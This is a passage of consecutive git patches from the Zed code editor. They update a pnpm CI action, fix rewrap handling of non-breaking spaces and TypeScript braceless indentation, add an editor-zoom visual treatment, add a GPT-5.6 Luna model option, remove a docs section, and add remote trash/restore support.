                 files_to_exclude,
-                false,
+                match_full_paths,
                 buffers,
             );
         }

From af01c321fabaaaf30c6f10beffebd23e16737446 Mon Sep 17 00:00:00 2001
From: Nathan Sobo <nathan@zed.dev>
Date: Wed, 15 Jul 2026 16:00:34 -0600
Subject: [PATCH 489/772] Update pnpm setup action for Node 24 (#61064)

## Summary

- Update `pnpm/action-setup` from v4.0.0 to v4.4.0
- Use the action release backed by Node 24 while continuing to install
pnpm 9
- Regenerate the affected workflows

## Testing

- `cargo xtask workflows`
- `git diff --check`

Release Notes:

- N/A
---
 .github/workflows/autofix_pr.yml           | 2 +-
 .github/workflows/danger.yml               | 2 +-
 .github/workflows/run_tests.yml            | 2 +-
 tooling/xtask/src/tasks/workflows/steps.rs | 2 +-
 4 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/.github/workflows/autofix_pr.yml b/.github/workflows/autofix_pr.yml
index 1c7b72da68e1a8..2e7c6e8a397a70 100644
--- a/.github/workflows/autofix_pr.yml
+++ b/.github/workflows/autofix_pr.yml
@@ -48,7 +48,7 @@ jobs:
     - name: steps::download_wasi_sdk
       run: ./script/download-wasi-sdk
     - name: steps::setup_pnpm
-      uses: pnpm/action-setup@fe02b34f77f8bc703788d5817da081398fad5dd2
+      uses: pnpm/action-setup@fc06bc1257f339d1d5d8b3a19a8cae5388b55320
       with:
         version: '9'
     - name: autofix_pr::run_autofix::install_cargo_machete
diff --git a/.github/workflows/danger.yml b/.github/workflows/danger.yml
index 9bef39ade451fc..0ec9b51f1be5e6 100644
--- a/.github/workflows/danger.yml
+++ b/.github/workflows/danger.yml
@@ -23,7 +23,7 @@ jobs:
       with:
         clean: false
     - name: steps::setup_pnpm
-      uses: pnpm/action-setup@fe02b34f77f8bc703788d5817da081398fad5dd2
+      uses: pnpm/action-setup@fc06bc1257f339d1d5d8b3a19a8cae5388b55320
       with:
         version: '9'
     - name: steps::setup_node
diff --git a/.github/workflows/run_tests.yml b/.github/workflows/run_tests.yml
index 319c7290dd7768..27c0819d7c90f5 100644
--- a/.github/workflows/run_tests.yml
+++ b/.github/workflows/run_tests.yml
@@ -157,7 +157,7 @@ jobs:
         cache: rust
         path: ~/.rustup
     - name: steps::setup_pnpm
-      uses: pnpm/action-setup@fe02b34f77f8bc703788d5817da081398fad5dd2
+      uses: pnpm/action-setup@fc06bc1257f339d1d5d8b3a19a8cae5388b55320
       with:
         version: '9'
     - name: steps::prettier
diff --git a/tooling/xtask/src/tasks/workflows/steps.rs b/tooling/xtask/src/tasks/workflows/steps.rs
index 5fcb0114421530..daf8cb0e40e6c0 100644
--- a/tooling/xtask/src/tasks/workflows/steps.rs
+++ b/tooling/xtask/src/tasks/workflows/steps.rs
@@ -164,7 +164,7 @@ pub fn setup_pnpm() -> Step<Use> {
     named::uses(
         "pnpm",
         "action-setup",
-        "fe02b34f77f8bc703788d5817da081398fad5dd2", // v4.0.0
+        "fc06bc1257f339d1d5d8b3a19a8cae5388b55320", // v4.4.0
     )
     .add_with(("version", "9"))
 }

From 9dfdaa62b72a1afb45d33df0204db3945e686c8e Mon Sep 17 00:00:00 2001
From: Aliaksandr Zhyburtovich <zhyburtovich@gmail.com>
Date: Thu, 16 Jul 2026 00:17:51 +0200
Subject: [PATCH 490/772] editor: Preserve non-breaking whitespace during
 rewrap (#59893)

## Objective

Prevent rewrap from breaking at whitespace that Unicode classifies as
non-breaking.

The original approach, prompted by #59664, treated every non-ASCII
whitespace character as unbreakable. Unicode classifies `U+2009 THIN
SPACE` as breakable and `U+202F NARROW NO-BREAK SPACE` as its
non-breaking counterpart.

## Solution

- Treat `U+00A0 NO-BREAK SPACE`, `U+2007 FIGURE SPACE`, and `U+202F
NARROW NO-BREAK SPACE` as part of the surrounding word
- Keep thin spaces, em spaces, and other Unicode breaking spaces as
line-break opportunities
- Cover all three non-breaking whitespace variants in tokenizer and
wrapping tests

## Testing

- `cargo test -p editor rewrap::tests`

Release Notes:

- Fixed rewrap breaking lines at non-breaking spaces.

---------

Co-authored-by: Nathan Sobo <nathan@zed.dev>
---
 crates/editor/src/rewrap.rs | 39 +++++++++++++++++++++++++++++++++++--
 1 file changed, 37 insertions(+), 2 deletions(-)

diff --git a/crates/editor/src/rewrap.rs b/crates/editor/src/rewrap.rs
index 50647729d32e52..9f39af1fcc06f1 100644
--- a/crates/editor/src/rewrap.rs
+++ b/crates/editor/src/rewrap.rs
@@ -430,8 +430,13 @@ fn is_grapheme_ideographic(text: &str) -> bool {
     text.chars().any(is_char_ideographic)
 }
 
+fn is_non_breaking_whitespace(character: char) -> bool {
+    matches!(character, '\u{00A0}' | '\u{2007}' | '\u{202F}')
+}
+
 fn is_grapheme_whitespace(text: &str) -> bool {
-    text.chars().any(|x| x.is_whitespace())
+    text.chars()
+        .any(|character| character.is_whitespace() && !is_non_breaking_whitespace(character))
 }
 
 fn should_stay_with_preceding_ideograph(text: &str) -> bool {
@@ -690,7 +695,23 @@ mod tests {
                     word("笔", 1),
                 ],
             ),
-            (" mutton", &[whitespace(" ", 1), word("mutton", 6)]),
+            (
+                "\u{2003}mutton",
+                &[whitespace("\u{2003}", 1), word("mutton", 6)],
+            ),
+            (
+                "a\u{2009}b\u{2009}c",
+                &[
+                    word("a", 1),
+                    whitespace("\u{2009}", 1),
+                    word("b", 1),
+                    whitespace("\u{2009}", 1),
+                    word("c", 1),
+                ],
+            ),
+            ("a\u{a0}b\u{a0}c", &[word("a\u{a0}b\u{a0}c", 5)]),
+            ("a\u{2007}b\u{2007}c", &[word("a\u{2007}b\u{2007}c", 5)]),
+            ("a\u{202f}b\u{202f}c", &[word("a\u{202f}b\u{202f}c", 5)]),
         ];
 
         fn word(token: &'static str, grapheme_len: usize) -> WordBreakToken<'static> {
@@ -778,5 +799,19 @@ mod tests {
             ),
             format!("foo{}bar", '\u{2009}')
         );
+        for non_breaking_space in ['\u{a0}', '\u{2007}', '\u{202f}'] {
+            let input = format!("a{0}a{0}a{0}a{0}a", non_breaking_space);
+            assert_eq!(
+                wrap_with_prefix(
+                    String::new(),
+                    String::new(),
+                    input.clone(),
+                    4,
+                    NonZeroU32::new(4).unwrap(),
+                    false,
+                ),
+                input
+            );
+        }
     }
 }

From 367cd759636225affd1df3d10afc1199dbbb56e7 Mon Sep 17 00:00:00 2001
From: Shuhei Kadowaki <40514306+aviatesk@users.noreply.github.com>
Date: Thu, 16 Jul 2026 08:21:16 +0900
Subject: [PATCH 491/772] workspace: Add visual indicator for editor zoom
 (#61039)

The earlier editor-only zoom implementation in #32860 rendered the
active pane with padding, a border, rounded corners, and a shadow. In
addition to keeping docks visible, that treatment made the transient
editor zoom mode apparent.

The current `ToggleEditorZoom` implementation (#53911) only omits
sibling panes from the pane group, without any visual indication.
Without a persistent control or decoration, the result can look like an
ordinary single-pane layout, so users cannot tell whether toggling the
command will restore hidden splits.

So this commit renders the maximized pane as an inset card with padding,
a subtle theme border, rounded corners, and a shadow. Keeping this
treatment in `PaneGroup` makes it apply only to editor zoom, leaves
docks untouched, and distinguishes it from `ToggleZoom`'s square
workspace overlay.

## Showcase

<img width="862" height="415" alt="Screenshot 2026-07-15 at 18 51 30"
src="https://github.com/user-attachments/assets/f61c61ce-79b7-4e3a-a9c4-0775931fa90d"
/>

---

Release Notes:

- N/A

---------

Co-authored-by: Danilo Leal <daniloleal09@gmail.com>
---
 crates/workspace/src/pane_group.rs | 52 +++++++++++++++++++-----------
 1 file changed, 34 insertions(+), 18 deletions(-)

diff --git a/crates/workspace/src/pane_group.rs b/crates/workspace/src/pane_group.rs
index dcd0b091a3f421..3b0d07dcf259d4 100644
--- a/crates/workspace/src/pane_group.rs
+++ b/crates/workspace/src/pane_group.rs
@@ -545,39 +545,55 @@ impl Member {
                     };
                 }
 
-                if let Some(maximized) = maximized {
+                let is_maximized = if let Some(maximized) = maximized {
                     if maximized.upgrade().as_ref() != Some(pane) {
                         return PaneRenderResult {
                             element: div().into_any(),
                             contains_active_pane: false,
                         };
                     }
-                }
+                    true
+                } else {
+                    false
+                };
 
                 let decoration = render_cx.decorate(pane, cx);
                 let is_active = pane == render_cx.active_pane();
 
+                let pane = div()
+                    .relative()
+                    .size_full()
+                    .when(is_maximized, |this| {
+                        this.bg(cx.theme().colors().background)
+                            .border_1()
+                            .border_color(cx.theme().colors().border)
+                            .shadow_lg()
+                            .overflow_hidden()
+                    })
+                    .child(
+                        AnyView::from(pane.clone())
+                            .cached(StyleRefinement::default().v_flex().size_full()),
+                    )
+                    .when_some(decoration.border, |this, color| {
+                        this.child(
+                            div()
+                                .absolute()
+                                .size_full()
+                                .left_0()
+                                .top_0()
+                                .border_2()
+                                .border_color(color),
+                        )
+                    })
+                    .children(decoration.status_box);
+
                 PaneRenderResult {
                     element: div()
                         .relative()
                         .flex_1()
                         .size_full()
-                        .child(
-                            AnyView::from(pane.clone())
-                                .cached(StyleRefinement::default().v_flex().size_full()),
-                        )
-                        .when_some(decoration.border, |this, color| {
-                            this.child(
-                                div()
-                                    .absolute()
-                                    .size_full()
-                                    .left_0()
-                                    .top_0()
-                                    .border_2()
-                                    .border_color(color),
-                            )
-                        })
-                        .children(decoration.status_box)
+                        .when(is_maximized, |this| this.p_2())
+                        .child(pane)
                         .into_any(),
                     contains_active_pane: is_active,
                 }

From 1a246efd7e1b83ab568ec5e3e6c1a43a42e1abba Mon Sep 17 00:00:00 2001
From: Apoorva Verma <76636952+apoorva-01@users.noreply.github.com>
Date: Thu, 16 Jul 2026 04:59:16 +0530
Subject: [PATCH 492/772] Fix auto-indent for braceless if/for/while in
 TypeScript (#60708)

type `if (true)`, hit enter, nothing indents. same for for/while.

12aa270 commented these out to stop allman braces over-indenting
(#24976). fixed that, broke this. put them back with an optional `@end`
on the `{}` body so braced blocks stop before the brace and braceless
ones indent. same in tsx.

Fixes #60371.

Release Notes:

- Fixed TypeScript and TSX not auto-indenting the body of a braceless
`if`, `for`, or `while`

---------

Co-authored-by: Nathan Sobo <nathan@zed.dev>
---
 crates/grammars/src/tsx/indents.scm        | 20 +++++-
 crates/grammars/src/typescript/indents.scm | 22 ++++--
 crates/language/src/buffer_tests.rs        | 84 ++++++++++++++++++++++
 3 files changed, 120 insertions(+), 6 deletions(-)

diff --git a/crates/grammars/src/tsx/indents.scm b/crates/grammars/src/tsx/indents.scm
index 1e72160bca2f5f..ffc35bfec968f6 100644
--- a/crates/grammars/src/tsx/indents.scm
+++ b/crates/grammars/src/tsx/indents.scm
@@ -5,10 +5,26 @@
   (lexical_declaration)
   (variable_declaration)
   (assignment_expression)
-  (if_statement)
-  (for_statement)
 ] @indent
 
+; Indent a braceless body (`if (x)\n  y()`). When the body is a `{}` block the
+; `@end` stops the range before the brace so the block rule handles it instead,
+; which keeps Allman-style braces unindented.
+(if_statement
+  consequence: (statement_block)? @end) @indent
+
+(else_clause
+  (statement_block)? @end) @indent
+
+(for_statement
+  body: (statement_block)? @end) @indent
+
+(for_in_statement
+  body: (statement_block)? @end) @indent
+
+(while_statement
+  body: (statement_block)? @end) @indent
+
 (_
   "["
   "]" @end) @indent
diff --git a/crates/grammars/src/typescript/indents.scm b/crates/grammars/src/typescript/indents.scm
index 2715d2567194f0..3dc7d76813c8f8 100644
--- a/crates/grammars/src/typescript/indents.scm
+++ b/crates/grammars/src/typescript/indents.scm
@@ -5,12 +5,26 @@
   (lexical_declaration)
   (variable_declaration)
   (assignment_expression)
-  ; below handled by  `(_ "{" "}" @end) @indent`
-  ; (if_statement)
-  ; (for_statement)
-  ; (while_statement)
 ] @indent
 
+; Indent a braceless body (`if (x)\n  y()`). When the body is a `{}` block the
+; `@end` stops the range before the brace so the block rule handles it instead,
+; which keeps Allman-style braces unindented.
+(if_statement
+  consequence: (statement_block)? @end) @indent
+
+(else_clause
+  (statement_block)? @end) @indent
+
+(for_statement
+  body: (statement_block)? @end) @indent
+
+(for_in_statement
+  body: (statement_block)? @end) @indent
+
+(while_statement
+  body: (statement_block)? @end) @indent
+
 (_
   "["
   "]" @end) @indent
diff --git a/crates/language/src/buffer_tests.rs b/crates/language/src/buffer_tests.rs
index 29afbe84b72c59..ea4c49d920c887 100644
--- a/crates/language/src/buffer_tests.rs
+++ b/crates/language/src/buffer_tests.rs
@@ -4367,6 +4367,90 @@ fn get_tree_sexp(buffer: &Entity<Buffer>, cx: &mut gpui::TestAppContext) -> Stri
     })
 }
 
+fn typescript_lang_with_indents() -> Arc<Language> {
+    Arc::new(
+        Language::new(
+            LanguageConfig {
+                name: "TypeScript".into(),
+                ..Default::default()
+            },
+            Some(tree_sitter_typescript::LANGUAGE_TYPESCRIPT.into()),
+        )
+        .with_brackets_query(r#"("{" @open "}" @close) ("(" @open ")" @close)"#)
+        .unwrap()
+        .with_indents_query(include_str!("../../grammars/src/typescript/indents.scm"))
+        .unwrap(),
+    )
+}
+
+fn tsx_lang_with_indents() -> Arc<Language> {
+    Arc::new(
+        Language::new(
+            LanguageConfig {
+                name: "TSX".into(),
+                ..Default::default()
+            },
+            Some(tree_sitter_typescript::LANGUAGE_TSX.into()),
+        )
+        .with_brackets_query(r#"("{" @open "}" @close) ("(" @open ")" @close)"#)
+        .unwrap()
+        .with_indents_query(include_str!("../../grammars/src/tsx/indents.scm"))
+        .unwrap(),
+    )
+}
+
+#[gpui::test]
+fn test_autoindent_typescript_braceless_control_flow(cx: &mut App) {
+    init_settings(cx, |_| {});
+    cx.new(|cx| {
+        for lang in [typescript_lang_with_indents(), tsx_lang_with_indents()] {
+            let mut indent = |header: &str, header_len: usize, body: &str| {
+                let mut buffer = Buffer::local(header, cx).with_language(lang.clone(), cx);
+                buffer.edit(
+                    [(header_len..header_len, body)],
+                    Some(AutoindentMode::EachLine),
+                    cx,
+                );
+                buffer.text()
+            };
+
+            // A braceless body is indented under its `if`/`for`/`while`.
+            assert_eq!(indent("if (true)", 9, "\nx()"), "if (true)\n    x()");
+            assert_eq!(indent("for (;;)", 8, "\nx()"), "for (;;)\n    x()");
+            assert_eq!(indent("while (true)", 12, "\nx()"), "while (true)\n    x()");
+            assert_eq!(
+                indent("for (const a of b)", 18, "\nx()"),
+                "for (const a of b)\n    x()"
+            );
+
+            // The statement after a braceless body returns to the outer indent.
+            assert_eq!(
+                indent("if (true)\n    x()", 17, "\ny()"),
+                "if (true)\n    x()\ny()"
+            );
+
+            // A `{}` block keeps its brace unindented (Allman style), leaving the
+            // block rule to indent the contents. Regression guard for #24976.
+            assert_eq!(indent("if (true)", 9, "\n{}"), "if (true)\n{}");
+            assert_eq!(indent("for (;;)", 8, "\n{}"), "for (;;)\n{}");
+            assert_eq!(indent("while (true)", 12, "\n{}"), "while (true)\n{}");
+
+            // K&R braced bodies indent their contents once.
+            assert_eq!(
+                indent("if (true) {\n}", 11, "\nx()"),
+                "if (true) {\n    x()\n}"
+            );
+
+            // A braceless `else` body is indented under the `else`.
+            assert_eq!(
+                indent("if (true)\n    x()\nelse", 22, "\ny()"),
+                "if (true)\n    x()\nelse\n    y()"
+            );
+        }
+        Buffer::local("", cx)
+    });
+}
+
 // Assert that the enclosing bracket ranges around the selection match the pairs indicated by the marked text in `range_markers`
 #[track_caller]
 fn assert_bracket_pairs(

From 86751c2aad177d729fd1f8853ed52b55eb508291 Mon Sep 17 00:00:00 2001
From: Jiby Jose <hello@jiby.me>
Date: Thu, 16 Jul 2026 09:43:30 +0200
Subject: [PATCH 493/772] agent: Add GPT 5.6 Luna for ChatGPT subscription
 (#61083)

GPT 5.6 Luna now passes properly though the codex backend

---

Release Notes:

- agent: Added GPT 5.6 Luna support for ChatGPT subscription
---
 .../src/provider/openai_subscribed.rs            | 16 +++++++++-------
 1 file changed, 9 insertions(+), 7 deletions(-)

diff --git a/crates/language_models/src/provider/openai_subscribed.rs b/crates/language_models/src/provider/openai_subscribed.rs
index fca352d8689435..4e2dee2075cac9 100644
--- a/crates/language_models/src/provider/openai_subscribed.rs
+++ b/crates/language_models/src/provider/openai_subscribed.rs
@@ -194,9 +194,7 @@ impl LanguageModelProvider for OpenAiSubscribedProvider {
     }
 
     fn default_fast_model(&self, _cx: &App) -> Option<Arc<dyn LanguageModel>> {
-        // No GPT-5.5 Mini exists yet; per the OpenAI Codex docs, gpt-5.4-mini
-        // is the recommended fast/cheap default alongside gpt-5.5.
-        Some(self.create_language_model(ChatGptModel::Gpt54Mini))
+        Some(self.create_language_model(ChatGptModel::Gpt56Luna))
     }
 
     fn provided_models(&self, _cx: &App) -> Vec<Arc<dyn LanguageModel>> {
@@ -313,6 +311,7 @@ impl LanguageModelProvider for OpenAiSubscribedProvider {
 enum ChatGptModel {
     Gpt56Sol,
     Gpt56Terra,
+    Gpt56Luna,
     Gpt55,
     Gpt54,
     Gpt54Mini,
@@ -323,6 +322,7 @@ impl ChatGptModel {
         vec![
             Self::Gpt56Sol,
             Self::Gpt56Terra,
+            Self::Gpt56Luna,
             Self::Gpt55,
             Self::Gpt54,
             Self::Gpt54Mini,
@@ -333,6 +333,7 @@ impl ChatGptModel {
         match self {
             Self::Gpt56Sol => "gpt-5.6-sol",
             Self::Gpt56Terra => "gpt-5.6-terra",
+            Self::Gpt56Luna => "gpt-5.6-luna",
             Self::Gpt55 => "gpt-5.5",
             Self::Gpt54 => "gpt-5.4",
             Self::Gpt54Mini => "gpt-5.4-mini",
@@ -343,6 +344,7 @@ impl ChatGptModel {
         match self {
             Self::Gpt56Sol => "GPT-5.6 Sol",
             Self::Gpt56Terra => "GPT-5.6 Terra",
+            Self::Gpt56Luna => "GPT-5.6 Luna",
             Self::Gpt55 => "GPT-5.5",
             Self::Gpt54 => "GPT-5.4",
             Self::Gpt54Mini => "GPT-5.4 Mini",
@@ -351,7 +353,7 @@ impl ChatGptModel {
 
     fn max_token_count(&self) -> u64 {
         match self {
-            Self::Gpt56Sol | Self::Gpt56Terra => 372_000,
+            Self::Gpt56Sol | Self::Gpt56Terra | Self::Gpt56Luna => 372_000,
             Self::Gpt55 | Self::Gpt54 | Self::Gpt54Mini => 272_000,
         }
     }
@@ -369,7 +371,7 @@ impl ChatGptModel {
     fn default_reasoning_effort(&self) -> Option<ReasoningEffort> {
         match self {
             Self::Gpt56Sol => Some(ReasoningEffort::Low),
-            Self::Gpt56Terra | Self::Gpt55 | Self::Gpt54 | Self::Gpt54Mini => {
+            Self::Gpt56Terra | Self::Gpt56Luna | Self::Gpt55 | Self::Gpt54 | Self::Gpt54Mini => {
                 Some(ReasoningEffort::Medium)
             }
         }
@@ -377,7 +379,7 @@ impl ChatGptModel {
 
     fn supported_reasoning_efforts(&self) -> &'static [ReasoningEffort] {
         match self {
-            Self::Gpt56Sol | Self::Gpt56Terra => &[
+            Self::Gpt56Sol | Self::Gpt56Terra | Self::Gpt56Luna => &[
                 ReasoningEffort::Low,
                 ReasoningEffort::Medium,
                 ReasoningEffort::High,
@@ -403,7 +405,7 @@ impl ChatGptModel {
 
     fn supports_priority(&self) -> bool {
         match self {
-            Self::Gpt56Sol | Self::Gpt56Terra | Self::Gpt55 | Self::Gpt54 => true,
+            Self::Gpt56Sol | Self::Gpt56Terra | Self::Gpt56Luna | Self::Gpt55 | Self::Gpt54 => true,
             Self::Gpt54Mini => false,
         }
     }

From bf14327c27885b8c52588c2bf84cb2bd4f2dd72e Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Thu, 16 Jul 2026 10:51:58 +0300
Subject: [PATCH 494/772] Remove the 3rd party section (#61087)

See
https://github.com/zed-industries/zed/pull/60909#issuecomment-4987200706
and
https://github.com/ghostty-org/website/commit/d840266a668149495b41322d22f1f8d8f7747690

Release Notes:

- N/A
---
 docs/src/linux.md | 7 -------
 1 file changed, 7 deletions(-)

diff --git a/docs/src/linux.md b/docs/src/linux.md
index 6c48caa566b503..bc136e2010747e 100644
--- a/docs/src/linux.md
+++ b/docs/src/linux.md
@@ -64,13 +64,6 @@ We'd love your help making Zed available for everyone. If Zed is not yet availab
 
 The packages in this section provide binary installs for Zed but are not official packages within the associated distributions. These packages are maintained by community members and as such a higher level of caution should be taken when installing them.
 
-#### Debian and Ubuntu
-
-Zed is available in [this community-maintained repository](https://deb.griffo.io/).
-
-Instructions for each version are available in the README of the repository where packages are built.
-Build, packaging and instructions for each version are available in the README of the [repository](https://github.com/dariogriffo/zed-debian)
-
 ### Downloading manually
 
 If you'd prefer, you can install Zed by downloading our pre-built .tar.gz. This is the same artifact that our install script uses, but you can customize the location of your installation by modifying the instructions below:

From b562439e934acf18e2629f19b798e19023ee6863 Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Thu, 16 Jul 2026 10:41:21 +0100
Subject: [PATCH 495/772] project_panel: Add remote support for undo/redo
 system (#59709)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

Add remote (SSH) and collaboration support for trashing and restoring
files in the project panel, which in turn enables undo/redo of trash
operations against remote and collab projects.

Relates to #5039.

## Solution

- Updated the project panel undo system to carry `TrashId` instead of
`TrashedEntry`.
- Using `TrashedEntry` could get hairy, as it includes paths, which
wouldn't play too nicely when using, for exapmle, macOS as the client
and Windows as the host. Using a simple identifier is much easier in
this regard and simplifies implementation.
- Enabled the Trash action and context-menu entry on remote projects,
and removed the command palette filter in `ProjectPanel::new` that was
still hiding the action on remote.
- As far as I can tell, there isn't a reliable way to detect whether a
given remote actually supports the OS trash, so we expose the action
everywhere rather than guessing. On a remote without trash support the
action will fail when invoked but this is a conscious tradeoff until we
find a better way to handle this.
- `fs` now tracks trashed files in a `SlotMap<TrashId, TrashedEntry>` on
each `Fs` implementation. Trashed files are referenced by an opaque
`TrashId` instead of passing a `TrashedEntry` around, which avoids
serializing filesystem paths in remote messages.
- Split the old `delete_entry(trash: bool)` API into distinct
`trash_entry`/`trash_file` (returning a `TrashId`) and
`delete_entry`/`delete_file` across `Project`, `Worktree`,
`LocalWorktree` and `RemoteWorktree`.
- This lets us drop the optional trash result (`Option<TrashedEntry>`)
from the delete path and require a `TrashId` from the trash path.
- Added new proto messages (`TrashProjectEntry`,
`TrashProjectEntryResponse`, `RestoreProjectEntry`,
`RestoreProjectEntryResponse`) to let clients request the host to trash
or restore entries.
- This deprecates `DeleteProjectEntry::use_trash`, but the host still
honors it. An older collab peer may request trashing via that flag
instead of the newer `TrashProjectEntry`. If the host ignored it, a
newer host would permanently delete a file the user meant to send to the
trash. The field will be removed in a later PR once all supported peers
use `TrashProjectEntry`.

## Testing

The following tests were introduced to ensure the new behavior is
correctly tested:

* `remote_server::remote_editing_tests::test_remote_trash_restore` –
Tests trashing a project entry in remote
*
`remote_server::remote_editing_tests::test_remote_delete_project_entry_with_trash`
– Test to ensure we continue respecting `DeleteProjectEntry::use_trash`
until it is fully removed
* `project_panel::tests::undo::trash_directory_undo_redo` – Not related
to these changes but a nice to have as we were missing a test ensuring
that trashing and then undoing and redoing it for a directory works as
expected

Besides these, the following scenarios were manually tested against a
remote session on the same machine (macOS):

- Trashing → Undo (Restore) → Redo (Trashing)
- Batch Trashing → Undo (Batch Restore) → Redo (Batch Trashing)
- Rename → Undo (Rename) → Redo (Rename)
- Move → Undo (Move) → Redo (Move)
- Batch Move → Undo (Batch Move) → Redo (Batch Move)

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Release Notes:

- N/A

---------

Co-authored-by: Yara <git@yara.blue>
---
 Cargo.lock                                    |   2 +-
 crates/action_log/src/action_log.rs           |  17 +-
 crates/agent/src/tools/delete_path_tool.rs    |   4 +-
 crates/collab/src/rpc.rs                      |   2 +
 .../tests/integration/integration_tests.rs    |   4 +-
 crates/edit_prediction/src/udiff.rs           |   2 +-
 crates/fs/Cargo.toml                          |   1 +
 crates/fs/src/fs.rs                           | 103 +++--
 crates/fs/tests/integration/fs_tests.rs       |  67 +--
 crates/git_ui/src/git_panel.rs                |   4 +-
 crates/project/src/project.rs                 |  49 ++-
 crates/project/src/worktree_store.rs          |  39 ++
 crates/project_panel/Cargo.toml               |   1 -
 crates/project_panel/src/project_panel.rs     | 129 +++---
 crates/project_panel/src/tests/undo.rs        |  54 +++
 crates/project_panel/src/undo.rs              |  76 ++--
 crates/proto/proto/worktree.proto             |  35 +-
 crates/proto/proto/zed.proto                  |   6 +-
 crates/proto/src/proto.rs                     |   8 +
 .../remote_server/src/remote_editing_tests.rs | 107 +++++
 crates/rpc/src/peer.rs                        |   5 +-
 crates/worktree/src/worktree.rs               | 383 +++++++++++-------
 .../tests/integration/worktree_tests.rs       |   4 +-
 23 files changed, 729 insertions(+), 373 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index 56b62212f48452..2303a839d8f4f0 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -6916,6 +6916,7 @@ dependencies = [
  "rope",
  "serde",
  "serde_json",
+ "slotmap",
  "smol",
  "telemetry",
  "tempfile",
@@ -14151,7 +14152,6 @@ dependencies = [
  "anyhow",
  "client",
  "collections",
- "command_palette_hooks",
  "criterion",
  "editor",
  "feature_flags",
diff --git a/crates/action_log/src/action_log.rs b/crates/action_log/src/action_log.rs
index f8b15f621e9d6b..60bc58701a76ce 100644
--- a/crates/action_log/src/action_log.rs
+++ b/crates/action_log/src/action_log.rs
@@ -758,11 +758,10 @@ impl ActionLog {
                             .read(cx)
                             .entry_id(cx)
                             .and_then(|entry_id| {
-                                self.project.update(cx, |project, cx| {
-                                    project.delete_entry(entry_id, false, cx)
-                                })
+                                self.project
+                                    .update(cx, |project, cx| project.delete_entry(entry_id, cx))
                             })
-                            .unwrap_or_else(|| Task::ready(Ok(None)));
+                            .unwrap_or_else(|| Task::ready(Ok(())));
 
                         cx.background_spawn(async move {
                             task.await?;
@@ -1831,14 +1830,14 @@ mod tests {
         action_log.update(cx, |log, cx| log.will_delete_buffer(buffer2.clone(), cx));
         project
             .update(cx, |project, cx| {
-                project.delete_file(file1_path.clone(), false, cx)
+                project.delete_file(file1_path.clone(), cx)
             })
             .unwrap()
             .await
             .unwrap();
         project
             .update(cx, |project, cx| {
-                project.delete_file(file2_path.clone(), false, cx)
+                project.delete_file(file2_path.clone(), cx)
             })
             .unwrap()
             .await
@@ -2143,9 +2142,7 @@ mod tests {
             action_log.update(cx, |log, cx| log.will_delete_buffer(buffer.clone(), cx));
         });
         project
-            .update(cx, |project, cx| {
-                project.delete_file(file_path.clone(), false, cx)
-            })
+            .update(cx, |project, cx| project.delete_file(file_path.clone(), cx))
             .unwrap()
             .await
             .unwrap();
@@ -3156,7 +3153,7 @@ mod tests {
             child_log.update(cx, |log, cx| log.will_delete_buffer(buffer.clone(), cx));
         });
         project
-            .update(cx, |project, cx| project.delete_file(file_path, false, cx))
+            .update(cx, |project, cx| project.delete_file(file_path, cx))
             .unwrap()
             .await
             .unwrap();
diff --git a/crates/agent/src/tools/delete_path_tool.rs b/crates/agent/src/tools/delete_path_tool.rs
index 7a23ac38d92ddc..0f837e5144e318 100644
--- a/crates/agent/src/tools/delete_path_tool.rs
+++ b/crates/agent/src/tools/delete_path_tool.rs
@@ -247,9 +247,7 @@ impl AgentTool for DeletePathTool {
             }
 
             let deletion_task = project
-                .update(cx, |project, cx| {
-                    project.delete_file(project_path, false, cx)
-                })
+                .update(cx, |project, cx| project.delete_file(project_path, cx))
                 .ok_or_else(|| {
                     format!("Couldn't delete {path} because that path isn't in this project.")
                 })?;
diff --git a/crates/collab/src/rpc.rs b/crates/collab/src/rpc.rs
index 431350971ce590..effe9fb2705c1c 100644
--- a/crates/collab/src/rpc.rs
+++ b/crates/collab/src/rpc.rs
@@ -406,6 +406,8 @@ impl Server {
             .add_request_handler(forward_mutating_project_request::<proto::RenameProjectEntry>)
             .add_request_handler(forward_mutating_project_request::<proto::CopyProjectEntry>)
             .add_request_handler(forward_mutating_project_request::<proto::DeleteProjectEntry>)
+            .add_request_handler(forward_mutating_project_request::<proto::TrashProjectEntry>)
+            .add_request_handler(forward_mutating_project_request::<proto::RestoreProjectEntry>)
             .add_request_handler(forward_mutating_project_request::<proto::ExpandProjectEntry>)
             .add_request_handler(
                 forward_mutating_project_request::<proto::ExpandAllForProjectEntry>,
diff --git a/crates/collab/tests/integration/integration_tests.rs b/crates/collab/tests/integration/integration_tests.rs
index 403e36487bfdba..4dcd4bb3e58bfc 100644
--- a/crates/collab/tests/integration/integration_tests.rs
+++ b/crates/collab/tests/integration/integration_tests.rs
@@ -3473,7 +3473,7 @@ async fn test_fs_operations(
 
     project_b
         .update(cx_b, |project, cx| {
-            project.delete_entry(dir_entry.id, false, cx).unwrap()
+            project.delete_entry(dir_entry.id, cx).unwrap()
         })
         .await
         .unwrap();
@@ -3501,7 +3501,7 @@ async fn test_fs_operations(
 
     project_b
         .update(cx_b, |project, cx| {
-            project.delete_entry(entry.id, false, cx).unwrap()
+            project.delete_entry(entry.id, cx).unwrap()
         })
         .await
         .unwrap();
diff --git a/crates/edit_prediction/src/udiff.rs b/crates/edit_prediction/src/udiff.rs
index 8411adde72ed78..5606b35e7fd10d 100644
--- a/crates/edit_prediction/src/udiff.rs
+++ b/crates/edit_prediction/src/udiff.rs
@@ -209,7 +209,7 @@ pub async fn apply_diff(
                 if status == FileStatus::Deleted {
                     let delete_task = project.update(cx, |project, cx| {
                         if let Some(path) = project.find_project_path(path.as_ref(), cx) {
-                            project.delete_file(path, false, cx)
+                            project.delete_file(path, cx)
                         } else {
                             None
                         }
